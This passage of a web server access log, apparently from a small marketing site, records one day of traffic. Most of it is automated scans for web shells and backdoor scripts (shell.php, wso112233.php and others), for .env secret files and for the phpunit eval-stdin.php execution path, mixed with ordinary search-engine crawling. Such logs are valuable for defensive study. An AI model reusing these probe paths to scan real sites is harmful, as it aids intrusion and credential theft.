HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:11 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:12 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:13 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:16 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:19 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:20 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:21 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:23 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:24 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:25 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:26 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:28 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:30 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:33 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:34 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:36 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:37 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:39 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:40 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:42 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:42 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:43 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:44 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:45 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:47 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:48 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:49 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:50 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:51 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:53 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:54 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:56 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:57 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:58 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:59 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:00 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:00 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:01 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:02 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:03 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:04 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:05 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:06 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:07 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:08 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:09 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:10 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:11 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:12 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:14 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:15 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:16 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:17 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:17 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:19 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:20 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:21 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:23 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:25 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:27 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:29 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:31 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:32 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:33 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:34 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:34 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:35 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:36 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:37 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:39 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:40 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:42 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:44 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:45 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:46 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:47 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:49 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:51 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:52 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:54 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:55 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:57 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:36:59 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [27/Apr/2025:16:08:02 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:16:08:36 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:16:08:54 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:16:09:01 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:16:09:25 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 2a06:6440:0:2ca5::1 - - [27/Apr/2025:16:22:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" 207.46.13.231 - - [27/Apr/2025:16:45:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 207.46.13.116 - - [27/Apr/2025:16:45:49 -0400] "GET /digital-marketing-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 60.188.57.0 - - [27/Apr/2025:16:49:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.84.99.6 - - [27/Apr/2025:17:16:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 216.24.213.153 - - [27/Apr/2025:17:43:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 196.251.115.37 - - [27/Apr/2025:18:06:57 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.115.37 - - [27/Apr/2025:18:06:58 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.115.37 - - [27/Apr/2025:18:06:58 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.115.37 - - [27/Apr/2025:18:06:58 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.115.37 - - [27/Apr/2025:18:06:58 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.115.37 - - [27/Apr/2025:18:06:58 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 52.167.144.207 - - [27/Apr/2025:18:19:49 -0400] "GET /marketing-material-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 194.195.91.64 - - [27/Apr/2025:18:22:08 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 43.157.250.210 - - [27/Apr/2025:18:32:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [27/Apr/2025:18:36:09 -0400] "GET /index2.php HTTP/1.1" 301 795 "http://designpitara.com/index2.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 2400:8d60:11::1dd3:10d6 - - [27/Apr/2025:18:57:37 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 2400:8d60:11::1dd3:10d6 - - [27/Apr/2025:18:57:37 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 2400:8d60:11::1dd3:10d6 - - [27/Apr/2025:18:57:38 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 192.178.6.73 - - [27/Apr/2025:19:06:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.178.6.73 - - [27/Apr/2025:19:06:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.142.125.119 - - [27/Apr/2025:19:10:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2620:96:e000::107 - - [27/Apr/2025:19:10:23 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 114.119.132.207 - - [27/Apr/2025:19:18:16 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 194.33.45.65 - - [27/Apr/2025:19:20:09 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:09 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:20:09 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:09 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:20:09 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:10 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:10 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:10 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:10 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:10 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:10 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:10 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:11 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:11 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:11 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:11 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:11 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:12 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:13 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:13 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:13 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:13 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:13 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:14 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:15 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:16 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:20:16 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:16 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:16 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:16 